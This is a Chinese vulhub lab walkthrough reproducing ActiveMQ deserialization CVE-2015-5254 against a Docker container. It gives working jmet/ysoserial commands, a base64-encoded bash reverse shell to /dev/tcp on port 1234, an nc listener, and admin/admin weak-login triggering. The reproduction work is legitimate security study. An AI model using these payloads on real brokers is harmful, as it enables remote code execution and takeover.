vulhub漏洞复现- ActiveMQ 反序列化漏洞(CVE-2015-5254)
环境搭建
1.使用腾讯云服务器,docker启动环境
2.kali攻击机
漏洞概要
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞利用过程
漏洞利用过程如下:
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面(8161端口),读取消息,触发漏洞
漏洞复现
使用jmet构造反序列化对象
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)
1. mkdir external
2. wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
我这里下载到了tools目录下。
利用用漏洞执行任意命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 服务器IP 61616
此时会给目标ActiveMQ添加一个名为event的队列,但是这个漏洞需要管理员访问消息触发。
我们也可以通过弱口令登录admin/admin
在http://服务器ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息:
根据ID找到消息,点击,就可以触发漏洞了。
成功创建success文件。
利用漏洞弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 服务器IP 61616
这里需要注意,要用base64编码来绕过java的机制。
这里的ip是服务器内网的ip地址。
在服务器上设置监听端口
nc -lvvp 1234
根据ID找到消息,点击,触发漏洞。
在服务器中得到docker中的shell。